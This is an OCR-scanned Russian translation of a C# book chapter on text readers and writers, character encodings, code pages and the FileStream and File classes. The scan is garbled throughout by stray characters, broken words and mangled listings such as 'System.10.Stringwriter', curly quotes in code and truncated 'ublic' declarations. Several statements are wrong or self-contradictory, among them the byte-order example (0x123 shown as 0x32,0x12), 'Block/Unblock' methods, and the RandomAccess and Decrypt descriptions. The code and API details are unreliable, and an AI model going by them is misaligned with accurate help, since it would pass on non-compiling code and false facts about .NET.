Глава 16 --------------------------------------------------------------* А Классы TextReader и Textwriter у Абстрактные классы TextReader и Textwriter представляют данн!| как последовательность символов. Логически говоря, эти классы похозй на поток, но каждый элемент последовательности является символо^ а не байтом. Тем не менее есть некоторые различия в деталях. С одно! стороны, так же как и в случае с типами Windows Runtime, имеются о^- дельные абстракции для чтения и записи. Класс Stream объединяет^ потому что логично использовать одну сущность для выполнения опе- раций чтения и записи, особенно если поток представляет собой фак на диске. Для байтоориентированного произвольного доступа это имеет смысл, но такая абстракция проблематична для работы с текстом. Кодировки с переменной длиной усложняют реализацию произ- вольной записи (то есть возможности изменять значения в любой точ- ке последовательности). Рассмотрим случай, когда требуется получи» 1 гигабайт текста в кодировке UTF-8, чей первый символ $, и замени» этот символ на £. В UTF-8 символ $ занимает всего один байт, а для£ требуется два, так что изменение первого символа потребует встави в начало файла дополнительного байта. Это будет означать перемеще- ние оставшегося содержимого файла — почти один гигабайт данных® одному байту. Даже случайный доступ только для чтения является относителью дорогим по времени. Поиск миллионного символа в файле, закодиро- ванном UTF-8, требует, чтобы вы прочитали первый миллион символов, потому что, если этого не сделать, у вас не будет возможности узнать, ка- кое сочетание одно- и многобайтных символов перед вами. Миллионный символ может начаться в миллионном байте, а может и в шестимиллв- онном или же где-то между ними. Поскольку поддержка произвольного доступа при кодировке переменной длины довольно затратна, особен® в случае записи данных, эти типы для работы с текстом не поддержива- ют ее. Без реализации случайного доступа нет никакой реальной полны в слиянии операций чтения и записи в один тип. И, как мы уже видеф на примере потоков Windows Runtime, отделение операций чтения и» писи избавляет от необходимости проверять свойство CanWrite, чтоб® убедиться, что вы можете записывать в поток, потому что у вас есть оф ект типа Textwriter. Класс TextReader предлагает несколько способов чтения даннь^ Простейшим из них является перегруженный метод Read, не принимг ющий аргументов, который возвращает параметр типа int. Он вернет 780
Файлы и потоки -1, если вы достигли конца входных данных, в противном случае бу- дет возвращено значение символа. (Вам потребуется преобразовать его к типу char, как только вы проверите, что это неотрицательно.) Кроме того, есть два метода, которые похожи на метод Read класса Stream, что показано в листинге 16.7. Листинг 16.7. Методы чтения фрагментов данных класса TextReader public virtual int Read(char[] buffer, int index, int count) { } public virtual int ReadBlock(char[] buffer, int index, int count) { } Так же как и метод Stream.Read, они принимают массив, а также ин- декс в этом массиве и количество считываемых элементов, далее они бу- дут пытаться прочесть количество заданных значений. Самое очевидное отличие от класса Stream заключается в том, что они используют массив элементов типа char вместо элементов типа byte. Но в чем разница меж- ду методами Read и ReadBlock? Метод ReadBlock решает проблему, кото- рую пришлось решать вручную для класса Stream в листинге 16.2: в то время как метод Read может вернуть меньше символов, чем вы просили, ReadBlock не вернет значение, если не было считано столько символов, сколько вы просили, если они доступны или по достижении конца со- держимого. Одна из задач обработки ввода текста заключается в том, что при- ходится иметь дело с различными соглашениями об окончаниях строк, а класс TextReader мойсет оградить вас от этого. Его метод ReadLine чи- тает целую строку введенных данных и возвращает его в виде объекта класса string. Эта строка не будет включать символы конца строки. Класс TextReader не предполагает одного конкретного согла- шения о том символе-терминаторе. Он принимает либо воз- ——и?’’врат каретки (символьное значение 13, которое записывается как \г в виде символов), либо конец строки (10 или \п). И если оба символа появляются рядом, пара символов рассматрива- ется как единичная комбинация конца строки, несмотря на то что это два символа. Эта обработка происходит только тогда, когда вы используете либо метод ReadLine, либо ReadLineAsync. Если вы работаете непосредственно на уровне символов с по- мощью методов Read или ReadBlock, вы увидите символы кон- ца строки такими, как они есть. 781
Глава 16 Класс TextReader также предлагает метод ReadToEnd, который читает входные данные в полном объеме и возвращает их в виде одной строки. ' И, наконец, есть метод Реек, делающий то же самое, что и метод Read с одним аргументом, за исключением того, что он не изменяет состояние читателя. Это позволяет просматривать следующий символ, не потре- бляя его, поэтому в следующий раз при вызове либо метода Реек, либо метода Read он вернет тот же символ. Что касается класса Textwriter, он предлагает два перегруженных ме- тода для записи: Write и WriteLine. Каждый из них дает перегруженные варианты для всех встроенных типов значений (bool, int, float и т. д). Функционально класс может иметь только одну перегрузку, которая принимает объект типа object, но эти специализированные перегрузки позволяют избежать упаковки аргумента. Класс Textwriter также пред- лагает метод Flush той же причине, что и класс Stream. По умолчанию класс Textwriter будет производить последовательность символов \г\п (13, затем 10) в качестве символа конца строки. Вы можете изменил это, задав его свойство NewLine. Оба эти абстрактных класса реализуют интерфейс IDisposable, потому что некоторые из конкретных произво- дных классов для считывания и записи текста являются обертками либо для неуправляемых ресурсов, либо для других удаляемых ресурсов. Эти классы предлагают асинхронные версии их методов. Они на» ли предоставлять эту возможность только начиная с версии .NET 4Д так что они поддерживают только шаблон на основе задач, о которой говорится в главе 17, и может употребляться с ключевым словом await описанным в главе 18. 5 Конкретные типы для считывания и записи текста Как и в случае с классом Stream, различные API в .NET представ ляют вам объекты классов TextReader и Textwriter. Например, клас Console определяет свойства In Out, которые обеспечивают текстово доступ к входному и выходному потоку процесса. Вы не видели и прежде, но мы уже использовали их неявно — перегруженные метод Console.WriteLine являются всего лишь оберткой и вызывают мете Out. WriteLine. Кроме того, методы Read и ReadLine класса Console проа перенаправляют вызовы методам in. read и in. readLine. Однако cyim ствуют некоторые конкретные классы, производные от TextReader ил Textwriter, чьи экземпляры можно создать напрямую. 782
Файлы и потоки Классы StreamReader и Streamwriter Пожалуй, самыми полезными классами длзг чтения и записи явля- ются StreamReader и Streamwriter, который могут обернуть объект клас- са Stream. Вы можете передать такой объект как аргумент конструктора или просто передать строку, содержащую путь к файлу, в этом случае они автоматически создадут объект класса Filestream для вас, а затем обернут его. В листинге 16.8 используется этот прием для того, чтобы записать текст в файл. Версия .NET, доступная для приложений в стиле Windows 8, не включает тип Filestream, поэтому ее классы StreamReader 1£*'и Streamwriter не имеют конструкторов, которые используют путь к файлу. Но, как показано в листинге 16.6, вы все еще мо- жете применять эти типы для работы с файлами, вы просто должны использовать обертки класса Stream. Листинг 16.8. Запись текста в файл с помощью класса streamwriter using (var fw = new StreamWriter(@"c:\temp\out.txt")) fw.WriteLine("Writing to a file"); fw.WriteLine("The time is {0}", DateTime.Now); Существуют различные перегрузки конструктора, предлагающие более детальный контроль. При передаче строки для того, чтобы ис- пользовать файл с помощью объекта класса Streamwriter (в отличие от ряда объектов класса Stream, которые вы уже получили), вы можете пе- редать значение типа bool, указывающее, следует ли начать с нуля или добавить данные в существующий файл, если он существует. (Значение true позволяет добавлять данные в файл.) Если вы не передадите этот аргумент, добавление не осуществится, и нужно начать писать в файл с самого его начала. Вы также можете указать кодировку. По умолчанию Streamwriter будет использовать UTF-8 без отметок порядка байтов, но вы можете передать любой тип, производный от класса Encoding, кото- рый описан ниже в разделе «Кодирование». Класс StreamReader похож на предыдущий — вы можете создать его . объект путем передачи объекта с типом либо Stream, либо string, послед- ний должен содержать путь к файлу, а также можно дополнительно ука- 783
Глава 16 зать кодировку. Однако если вы не укажете кодировку, поведение буде| немного отличаться от типа Streamwriter. В то время как StreamWritei просто использует по умолчанию UTF-8, StreamReader будет пытатьс! определить кодировку по содержанию потока. Он смотрит на первый несколько байт, а затем ищет определенные особенности, которые, как правило, явно говорят о том, что используется определенная кодировку Если кодированный текст начинается с метки порядка следования (Bytj order mark, BOM) Unicode, это дает возможность однозначно опредй| лить, что это за кодировка. 1 Классы StringReader и Stringwriter 1 Классы StringReader и Stringwriter служат той же цели, что и класв Memorystream: они полезны, когда вы работаете с API, который требуя объектов класса либо TextReader, либо T^xtWriter, но при этом вы хо| тите работать полностью в памяти. В то время как класс MemoryStreai представляет API для класса Stream на основе массива байтов, класс StringReader оборачивает строку в объект класса TextReader, а класс Stringwriter представляет API для работы с классом Textwriter на базц типа StringBuilder. Один из API, предлагаемых .NET для работы с XML, XmlReader, тре- бует либо объекта класса Stream, либо объекта класса TextReader. Что де- лать, если вам посчастливилось иметь XML-содержимое в строке? Если передать строку при создании нового объекта класса XmlReader, он будет интерпретировать это как URI, откуда необходимо извлечь содержимое, а не само содержимое. Конструктор класса StringReader, который при* нимает строку, просто оборачивает эту строку как содержание классу читателя, и мы можем передать их перегруженному методу XmlReader^ Create, требующему объекта типа TextReader, что показано в листиА ге 16.9. (Строка, в которой это делается, выделена жирным шрифтом < последующий код просто использует XmlReader для чтения содержим» го, чтобы показать, что он работает, как ожидалось.) 1 Листинг 16.9. Заключение строки в StringReader string xmlContent = "<message><text>Hello</text><recipient>world</recipient> 1 </message>"; var xmlReader = XmlReader. Create (new StringReader (xmlContent)); while (xmlReader.Read()) { 784
Файлы и потоки if (xmlReader.NodeType == XmlNodeType.Text) { Console.WriteLine (xmlReader.Value); ' } I Что касается Stringwriter, то вы уже видели его в главе 1. Как вы мо- жете помнить, первый пример в этой книге — модульный тест, который проверяет, что программы в рамках теста производят ожидаемый вывод (неизбежное сообщение «Hello, World!»). Соответствующие строки вос- производятся в листинге 16.10. Листинг 16.10. Захват консольного вывода в объект типа stringwriter var w = new System.10.Stringwriter(); Console.SetOut (w) ; В листинге 16.9 использовался API, который ожидает объект типа TextReader, Листинг 16.10 использует API, требующий объект типа Textwriter. Я хочу собрать все, что было записано в объект класса- писателя (то есть все вьровы Console.Write и Console.WriteLine), в па- мяти, чтобы мой тест смог посмотреть на эти данные. Вызов метода SetOut позволяет нам передать объект типа Stringwriter, который используется для вывода на консоль. Кодировка Как я уже говорил ранее, если вы используете объекты типов StreamReader или Streamwriter, они должны знать, какая кодировка символов применяется базовым потоком, чтобы иметь возможность правильно выполнять преобразования между байтами в потоке и типа- ми .NET char или string. Для управления этим аспектом пространство имен System.Text определяет абстрактный класс Encoding, для которого существуют различные конкретные производные типы: ASCIIEncoding, UTF7Encoding, UTF8Encoding, UTF32Encoding и UnicodeEncoding. Большинство этих имен типов говорят сами за себя, потому что они были названы в честь стандартных кодировок символов, которые они Представляют, например ASCII или UTF-8. Пояснений требует тип pnicodeEncoding — ведь кодировки UTF-7, UTF-8 и UTF-32 являются вариациями Unicode, так чем он отличается? Когда в Windows появи- лась поддержка кодировки Unicode (в самой первой версии Windows 785
Глава 16 NT), она приняла несколько неудачное соглашение: в документам и различных именах API термин Unicode был использован для ссылк на двухбайтовую кодировку формата little-endian*, являющуюся лиш одной из многих возможных схем кодирования, каждая из которых мо жет быть корректно описана как Unicode в той или иной форме. Класс UnicodeEncoding именуется в соответствии с этим историче ским соглашением, пусть даже это немного запутанно. Кодировка, кото рая называется Unicode в Win32 API, является кодировкой UTF-16LE но класс UnicodeEncoding также может поддерживать и другой порядо бит, UTF-16BE. Базовый класс Encoding определяет статические свойства, который возвращают экземпляры всех типов кодировок, о которых я уже гово рил, поэтому, если вам нужен объект, представляющий определенную кодировку, вы, как правило, просто передаете значение Encoding.ASCII или Encoding.UTF8 и т. д., вместо того чтобы создавать новый объект Есть два свойства типа UnicodeEncoding: сйойство Unicode возвращае! объект, настроенный на использование UTF-16LE, a BigEndianUnicode - HaUTF-16BE. Данные свойства возвращают объекты, настроенные по умолчанию Для кодировки ASCII это нормально, потому что для такой схемы не! никаких вариаций, но для различных кодировок вроде Unicode данные свойства вернут объекты, представляющие кодировку, которые скажут чтобы объект класса Streamwriter сгенерировал метку порядка байто! в начале вывода. Основной целью метки порядка байтов является предоставление программному обеспечению, которое считывает закодированный текст возможности автоматического обнаружения того, какой порядок байта имеет кодировка. (В действительности ее также можно использовать ди распознавания кодировки UTF-8, поскольку она кодирует метку поряд ка байтов не так, как другие кодировки.) Если вы используете кодиров ку с прямым порядком байтов (например, UTF-16LE), метка порядк байтов не нужна, потому что вы уже знаете порядок, но спецификации Unicode определяет адаптирующиеся форматы, в которых закодирован * На случай, если вы не встречали этот термин раньше, в представлениях little endian многобайтные значения начинаются с младших байтов, поэтому значение 0x123 в 16-битной кодировке little-endian будет выглядеть как 0x32,0x12, в то время как вслу чае big-endian — 0x12, 0x34. Little-endian выглядит наоборот, но это родной формат дл процессоров Intel. 786
Файлы и потоки ные байты могут рекламировать используемый порядок, начиная с мет- ки порядка байт, символ с кодовой точки Unicode U+FEFF. 16-разрядная версия этой кодировки так и называется: UTF-16, и вы сможете сказать, какой порядок битов имеет каждый конкретный набор закодированных в UTF-16 байтов — следует проверить, с чего он начинается: OxFE, OxFF или OxFF, OxFE. Хотя кодировка Unicode определяет схемы кодирования, ко- торые позволяют быть обнаруженным порядку байтов, невоз- можно создать объект типа Encoding, работающий таким обра- зом, — она всегда будет иметь конкретный порядок байтов. Таким образом, хотя класс Encoding определяет, должен ли по- рядок байтов быть указан при написании данных, это не влия- ет на поведение при чтении данных — всегда будет подразу- меваться, что кодировка была задана при создании объекта класса Encoding. Это означает, ЧТО СВОЙСТВО Encoding.UTF32, возможно, названо неверно — оно всегда интерпретирует данные как имеющие прямой порядок байтов, хотя специфи- кация Unicode позволяет UTF-32 использовать либо^прямой, либо обратный порядок. Encoding.UTF32 на самом деле являет- ся UTF-32LE. Как упоминалось ранее, если вы не укажете кодировку при создании объекта класса Streamwriter, то по умолчанию будет выбрана кодировка UTF-8 без метки* порядка байт, которая отличается от Encoding.UTF8 — она генерирует метку. И напомним, что класс StreamReader более инте- ресен: если вы не укажете кодировку, он будет пытаться определить ее самостоятельно. Так, .NET способен обрабатывать автоматическое опре- деление порядка байтов в соответствии с требованиями спецификации Unicode для UTF-16 и UTF-32. Для того чтобы такое автоматическое определение срабатывало, вы просто не должны специально указывать ту или иную кодировку сами при создании объекта класса StreamReader. Он поищет метку порядка байтов и, если она есть, будет использовать подходящую кодировку Unicode, в противном случае он предполагает кодировку UTF-8. UTF-8 становится все более популярной. Если ваш основной язык английский, это особенно удобное представление, потому что, если вы решили использовать только символы, доступные в ASCII, каждый сим- вол занимает один байт, и закодированный текст будет иметь точно та- кие же значения байтов, как это было бы в случае ASCII-кодировки. Но 787
Глава 16 в отличие от ASCII вы не ограничены 7-битным набором символов. Вс^ кодовые точки кодировки Unicode доступны, вы просто должны исполь^ зовать многобайтные представления для символов, находящихся за пре^ делами диапазона ASCII. Однако, хотя она очень широко используется^ UTF-8 не является единственной популярной 8-битной кодировкой, i Кодовые страницы Операционная система Windows, как DOS ранее, уже давно поддер- живает 8-битные кодировки, которые расширяют ASCII. ASCII являет- ся 7-битной кодировкой, что означает, что при наличии 8 бит у вас име- ется 128 «запасных» значений, которые можно использовать для других символов. Это далеко не достаточно, чтобы покрыть каждый символ каждого стандарта, но в пределах одной страны этого часто хватает (хотя и не всегда — во многих странах Дальнего 'Востока для каждого символа требуется больше, чем 8 бит на символ). Но каждая страна, как правило, использует разные наборы не-ASCII-символов, в зависимости от того, какие символы популярны в той местности и является ли тре- буемый алфавит нелатинским. Так, для разных языков различные кодо- вые страницы существуют. Например, кодовая страница 1253 использу- ет значения в диапазоне 193-254 для того, чтобы определить символы греческого алфавита (заполнение оставшихся не-А5СП-значений по- лезными символами, например символами валюты, отличными от тако- вых в США). Кодовая страница 1255 определяет еврейские символы, в то время как 1256 — арабские символы в верхнем диапазоне (также существуют некоторые точки соприкосновения для всех этих кодовых страниц, такие как использование значения 128 для знака евро, €, и 163 для знака фунта, £). Один из наиболее часто встречающихся кодов страниц — 1252, по- тому что это страница по умолчанию для англоязычных регионов. В ней не определяются символы нелатинского алфавита, вместо этого исполь- зуя верхний диапазон для полезных символов, а также для символов ла- тинского алфавита с различными знаками диакритики, позволяющими представить широкий спектр западноевропейских языков. Некоторые люди используют термин ASCII, когда имеют в виду ко- довую страницу 1252. Они ошибаются. Существует на удивление устой- чивый миф, что ASCII представляет собой 8-битную кодировку, и neJ которые люди будут упорствовать в этом с такой яростью, какая обычно приберегается для защиты точек зрения, чью необоснованность доказать 788
Файлы и потоки не так-то просто. Возможно, такая путаница возникает из того, что кодо- вую страницу 1252 иногда разговорно называют ANSI, которая звучит как ASCII. Часть документации Windows API также ссылается на нее как на ANSI, но это тоже неправильно, хотя и не настолько: кодовая стра- ница 1252 представляет собой модифицированную версию ISO-8859-1, и американский национальный институт стандартов (American National Standards Institute, ANSI) является одним из создателей основы между- народной стандартизации, так что если кодовая страница 1252 была бы точно такой же, как ISO-8859-1, что не совсем верно, она могла быть кодировкой ANSI. Но это не так. Это понятно? Отлично. Вы можете создать кодировку для кодовой страницы, вызвав метод Encoding. GetEncoding, передавая номер кодовой страницы. В листин- ге 16.11 используется эта особенность, чтобы написать текст, содержа- щий фунты, в файл с помощью кодовой страницы 1252. Листинг 16.11. Запись с помощью кодовой страницы Windows 1252 using (var sw = new Streamwriter("Text.txt”, false, Encoding.GetEncoding(1252))) { sw.Write(”£100”) ; Здесь символ £ будет закодирован как один байт со значением 163. При установке по умолчанию кодировки UTF-8 он был бы закодирован как два байта со значениями 194 и 163 соответственно. Использование кодировок напрямую Классы TextReader и Textwriter — это не единственный способ ис- пользования кодировок. На самом деле, я скрыл альтернативный под- ход в листинге 16.5, который использует непосредственно кодировку Encoding.UTF8. Он применяет метод GetBytes для преобразования стро- ки прямо в массив байтов, а также метод GetString для преобразования обратно. Вы также можете узнать, сколько данных станут производить эти преобразования. Метод GetByteCount расскажет вам, насколько боль- шой массив GetBytes будет создан для данной строки, в то время как GetChar Count показывает, сколько символов окажется сгенерирова- но при декодировании конкретного массива. Вы можете также узнать, 789
Глава 16 сколько места потребуется, не зная точного текста, передав количестве! символов в метод GetMaxByteCount, хотя это, вероятно, большую часть времени будет производить завышенное значение для кодировок пере- менной длины. Например, кодировка UTF-8 может использовать до ше- сти байтов на символ, но она будет поступать так только для кодовых точек, чьи значения требуют больше, чем 26 бит, для представления. Текущая спецификация Unicode (6.1) не определяет никаких кодовых точек, которые требуют более 21 бит, и UTF-8 нужно только 4 байта для каждого такого символа. Поэтому метод GetMaxByteCount будет всегда; переоценивать значение на случай использования кодировки UTF-8. Некоторые кодировки могут написать преамбулу, отличительную по- следовательность байтов, которая, в случае обнаружения в начале не- которого закодированного текста, укажет, что вы, скорее всего, ищете что-то использующее эту кодировку. Это может быть полезно, если вы пытаетесь определить, какая кодировка применяется, если вы еще этого не знаете. Различные кодировки Unicode рернут свои варианты коди- рования метки порядка байтов как преамбулу, которую вы можете по- лучить с помощью метода Get Preamble. Класс Encoding определяет свойства экземпляра, предоставляющие информацию о кодировке. Свойство EncodingName возвращает понятное для человека имя кодировки, однако доступны еще два имени. Свойство WebName возвращает стандартное имя для кодирования, зарегистриро- ванное в Internet Assigned Numbers Authority (IANA), которое управля- ет стандартными именами и номерами для различных объектов в сети Интернет, таких как MIME-типы. Некоторые протоколы, такие как HTTP, иногда помещают информацию об имени кодировки в сообще- ния, и этот текст вы должны использовать в такой ситуации. Два других имени, BodyName и HeaderName, несколько более неясны и используются только для интернет-переписки — есть немного различные соглашения о том, как каждая кодировка представлена в заголовке и теле электрон- ного письма. Файлы и каталоги Абстракции, которые я показал вам в этой главе, имеют довольно общее назначение — вы можете написать код, который использует класс Stream, без необходимости знать, откуда и куда идут байты, и, аналогич- но, классы TextReader и Textwriter также не требуют знать происхожде- ние или назначение~своих данных. Это полезно, потому что позволяет 790
Файлы и потоки писать код, который может быть применен в различных сценариях. Так, например, поток GZipStream может сжать или распаковать данные из файла, полученные через сетевое соединение или взятые из любого другого потока. Тем не менее бывают случаи, когда вы знаете, что будете иметь дело с файлами, и хотите получить доступ к некоторым функци- ям, предназначенным для работы с файлами. В этом разделе описыва- ются классы для работы с файлами и файловой системой. Если вы пишете приложение в стиле Windows 8, большинство 4 * типов, рассмотренных в этом разделе, не будут доступны, не- включением является только класс Path. Это потому, что при- ложения в стиле Windows 8 взаимодействуют с файловой си- стемой несколько иначе, чем другие приложения Windows, поэтому среда выполнения Windows определяет собствен- ный API для представления файлов и папок, использованный в листинге 16.5. Эти API намеренно очень жесткие благодаря модели безопасности Windows 8, так что большая часть функ- циональности, рассмотренной в этих разделах, просто не поддержи вается. Класс FileStream Класс FileStream является производным от класса Stream и представ- ляет собой файл из файловой системы. Я уже использовал его несколь- ко раз. Он добавляет относительно немного членов к тем, которые уже были предоставлены базовым классом. Методы Block и Unblock предо- ставляют возможность пдлучения эксклюзивного доступа к определен- ным диапазонам байтов при использовании одного файла из несколь- ких процессов. Методы GetaccessControl и SetAccessControl позволяют проверить и (при достаточных привилегиях) изменить список контроля доступа, который обеспечивает доступ к файлу. Свойство Name говорит вам об имени файла. Одно место, где класс FileStream действительно предлагает много возможностей управления, находится в его конструк- торе - помимо тех, которые отмечены атрибутом [Obsolete] * Есть не менее одиннадцати перегрузок конструктора. • Четыре перегруженных метода стали не нужны в версии .NET 2.0, когда был представлен новый способ представления, работающий с операционной системой. Пере- груженные методы, которые принимают параметр типа IntPtr, устарели, их заменили новые методы, принимающие параметры типа SafeFileHandle. Безопасные дескрийторы описываются в главе 21. 791
Глава 16 Способы создания объектов класса Filestream делятся на две труп пы: те, где у вас уже есть дескриптор файла операционной системь и те, в которых вы еще его не знаете. Если у вас уже есть дескриптор, bi должны сказать объекту класса Filestream, какой тип доступа (чтение запись, чтение/запись) предлагает дескриптор, что достигается путе, передачи значения из перечисления FileAccess. Другие перегруженны! методы опционально позволяют выбрать размер буфера, который be хотели бы использовать при чтении или записи, и флаг, указывающий является ли дескриптор открытым для перекрывающегося ввода/выво да; это механизм API-интерфейса Win32 для поддержки асинхронны операций. (Конструкторы, которые не принимают этот флаг, предпола гают, что вы не запрашивали перекрывающегося ввода/вывода при соз дании дескриптора файла.) Более часто встречаются другие конструкторы, в которых клас Filestream использует Win32 API для создания дескриптора файла о вашего имени. Вы можете варьировать уровень детализации по вашем желанию. Как минимум необходимо указать путь к файлу и значение и перечисления FileMode. В табл. 16.1 представлены определенные в это! перечислении значения вместо с описанием, что будет делать конструв тор класса Filestream для каждого значения в том случае, когда указан ный файл существует и когда такого файла нет. Таблица 16.1. Перечисление FileMode Значение Поведение в случае наличия файла Поведение в случае отсут- ствия файла CreateNew Генерируется исключение lOException Создается новый файл Create Заменяется существующий файл Создается новый файл Open Открывается существующий файл Сгенерируется исключение FileNotFoundException OpenOrCreate Открывается существующий файл Создается новый файл Truncate Заменяется существующий файл Сгенерируется исключение FileNotFoundException Append Открывается существующий файл, устанавливая свойство Position на конец файла Создается новый файл При необходимости можно задать и свойство FileAccess. Если в этого не сделаете, класс Filestream будет использовать метод Fi leAcces; ReadWrite, если вы не выбрали режим FileMode или Append. Файлы, о крытые в режиме добавления, могут быть только записаны, потох 792
этом случае класс FileStream выбирает метод Write. (Если вы пере- адите явный параметр типа FileAccess, запрашивающий любой метод, гличный от Write, при открытии в режиме добавления, конструктор генерирует исключение ArgumentException.) Кстати, теперь, когда я описал каждый дополнительный аргумент онструктора в этом разделе, соответствующий перегруженный вариант римет все описанные выше аргументы — конструкторы, основанные на ути к файлам, что показано в листинге 16.12. Ьютинг 16.12. Конструкторы типа FileStream, принимающие путь к файлу ublic FileStream (string path, FileMode mode) •jblic FileStream(string path, FileMode mode, FileAccess access) ublic FileStream(string path, FileMode mode, FileAccess access, FileShare share) ublic FileStream(string path, FileMode mode, FileAccess access, FileShare share, int bufferSize); ublic FileStream(string path, FileMode mode, FileAccess access, FileShare share, int bufferSize, bool useAsync); ublic FileStream(string path, FileMode mode, FileAccess access, FileShare share, int bufferSize, FileOptions options); ublic FileStream(string path, FileMode mode, FileSystemRights rights, FileShare share, int bufferSize, FileOptions options); ublic FileStream(string path, FileMode mode, FileSystemRights rights, FileShare share, int bufferSize, FileOptions options, FileSecurity filesecurity); Если вы передаете аргумент типа FileShare, вы можете указать, хоти- ели вы иметь эксклюзивный доступ к файлу или же готовы позволить [ругим процессам (или другому коду вашего процесса) открыть файл |дновременно с вами. По умолчанию, вы не имеете эксклюзивных прав, гго означает, что читать данные из файла могут несколько желающих >дновременно, но если кто-то открывает файл, имея права на запись или читывание/запись, никакой другой дескриптор не может быть открыт |дновременно. Что более странно, вы можете разрешить совместную за- шсь, при которой любое количество дескрипторов с правами на запись гожет быть активно одновременно, но при этом читать из файла нельзя Ю тех пор, пока все дескрипторы не будут освобождены. Существует йачение ReadWrite, которое позволяет выполнять одновременно чтение I запись. Вы также можете передать значение Delete, указывая, что вы ?-------------------------------------------------------------------- 793
Глава 16 не возражаете, что кто-то попытается удалить файл, пока он открываем ся. Очевидно, вы получите исключение ввода/вывода, если попытаете^ использовать файл после того, как он был удален, так что следует бы£ готовым к этому, но иногда усилия могут окупиться, в противном случ$ попытки удаления файла будут заблокированы, пока этот файл открыв f Все стороны должны согласиться на обмен, чтобы иметь во> *<?; 4 можность открыть несколько дескрипторов. Если программа^ ——^.‘использует метод Fileshare.ReadWrite, чтобы открыть фаМ, а программа Б затем передает значение FileShare.None при попытке открыть файл для чтения и записи, программа Б по- лучит исключение, потому что, хотя программа А готова предо? ставить общий доступ, программа Б этого сделать не готова, а потому ее требования не могут быть удовлетворены. Еом программе Б удалось открыть файл первой, данное действие сработало бы, а запрос программы А не был бы удовлетворен Следующая часть информации, которую мы можем передать, - эт$ размер буфера. Он позволяет контролировать размер блока, которы! класс Filestream будет использовать при чтении данных с диска и запи| си на него. По умолчанию он равен 4096 байт. В большинстве случае! это значение подходит просто отлично, но если вы обрабатываете очей большие объемы данных с диска, большой размер буфера может обесп® чить лучшую пропускную способность. Тем не менее, как и во всех вопрс сах производительности, вы должны измерить эффект таких изменени чтобы понять, стоят ли изменения трудов — в большинстве случаев вы н увидите никакого изменения пропускной способности данных, и пош добится просто использовать немного больше памяти, чем необходимо. Флаг useAsync позволяет определить, открыт ли дескриптор файл для перекрывающегося ввода/вывода, функции Win32, предназначь ной для поддержки асинхронных операций. Если вы читаете в данны момент относительно большими фрагментами и используете асинхро! ные API потока, вы, как правило, получите более высокую произвол! тельность, установив этот параметр. Однако, если вы читаете данны размером в несколько байтов, данный режим на самом деле увеличи накладные расходы. Если для кода, получающего доступ к файлу, осс бенно важна производительность, стоит попробовать оба значени и проверить, что лучше скажется на вашей рабочей нагрузке. Следующий аргумент, который вы можете добавить, имеет ти FileOptions. Если вы внимательно следите за повествованием, вы moi 794
Файлы и потоки ли заметить в листинге 16.12, что перегруженные методы, которые при- нимают этот аргумент, не принимают аргумент useAsync, значение типа bool. Это происходит потому, что в качестве одного из вариантов с по- мощью типа FileOptions можно указать асинхронный доступ. (Нам дей- ствительно не нужен перегруженный метод, который принимает пара- метр типа bool.) FileOptions является перечислением флагов, так что вы можете задать комбинацию любого из флагов, которые он предлагает, флаги описаны в табл. 16.2. Таблица 16.2. Флаги Fileoptions Флаг Значение Kritelhrough Отключение буферизации в ОС при записи, данные идут прямо на диск при выгрузке потока Asynchronous Определяет использование асинхронного ввода/вывода RandomAccess Указывает кэшу файловой системы, что вы будете искать данные по порядку, а не читать либо записывать SequentialScan Указывает кэшу файловой системы, что вы собираетесь читать либо записывать данные по порядку DeleteOnClose Указывает классу Filestream удалить файл, когда вы вызовете метод Dispose Encrypted Шифрует файл, его содержимое не может быть считано другими ч пользователями Наконец, вы можете передать объект типа Filesecurity, который по- зволяет настроить список контроля доступа и другие параметры безо- пасности для созданного файла. В то время как класс Filestream дает вам контроль над содержимым и атрибутами безопасности файла, существуют операции, которые вы, возможно, пожелаете выполнить для файлов и которые либо громозд- ки, либо вообще не поддерживаются классом Filestream. Например, вы можете скопировать файл с помощью этого класса, но это не так про- сто, как могло бы быть, и класс Filestream не предлагает способа удале- ния файла. Так, библиотека классов фреймворка .NET включает в себя класс, который поддерживает операции над файлами. Класс File Статический класс File содержит методы, предназначенные для вы- полнения различных операций с файлами. Метод Delete удаляет указан- ный файл из файловой системы. Метод Move может либо переместить, I 795
Глава 16 либо просто переименовать файл. Существуют методы, предназначен ные для получения информации и атрибутов, в которых файловая erf стема хранит информацию о каждом файле, например GetCreationTime GetLastAccessTime, GetLastWriteTime* и GetAttributes. (Последний и; них, возвращает значение типа FileAttributes, представляющее собо! один из видов флагов перечисления, которое говорит вам, является Л1 файл доступным только для чтения, скрытым файлом, системным фай лом и так далее.) Метод Encrypt перекрывается в какой-то степени с классов FileStream — как вы уже видели, при создании файла вы можете запро сить, чтобы он хранится в зашифрованном виде. Тем не менее мето] Encrypt умеет работать с файлом, который уже был создан без шиф рования и эффективно шифрует его на месте. (Этот метод дает тот Ж1 эффект, что и включение шифрования файла в окне Свойства в прово днике Windows.) Вы также можете перевести зашифрованный файл об ратно в незашифрованное состояние одним вызовом метода Decrypt. Не стоит вызывать метод Decrypt перед чтением зашифрован 4 * ного файла. После входа в систему под той же учетной запи Я?' сью, под которой был зашифрован файл, вы можете прочитал его содержимое обычным способом — зашифрованные файль будут выглядеть так же, как нормальные, потому что систем автоматически расшифровывает содержимое по мере чтение из них. Целью данного конкретного механизма шифрована является то, что, если другой пользователь сумеет получил доступ к файлу (например, если он находится на внешнем дис ке, который украден), содержание будет казаться случайный мусором. Метод Decrypt — это шифрование, означающее, чл любой, кто может получить доступ к файлу, будет в состояню просмотреть его содержимое. Прочие методы, предусмотренные классом File, всего лишь предла гают несколько более удобные способы для того, что вы могли бы еде лать вручную с помощью класса FileStream. Метод Сору создает копи! файла, хотя вы могли бы сделать копию с помощью метода СоруТо класа FileStream; метод Сору заботится о некоторых неловких деталях. Напри * Все они возвращают объект типа DateTime, который настроен по отношению к те кущему часовому поясу компьютера. Каждый из этих методов имеет эквивалент, возвра щающий время относительно нулевого часового пояса (например, GetCreationTimeUtc). 796
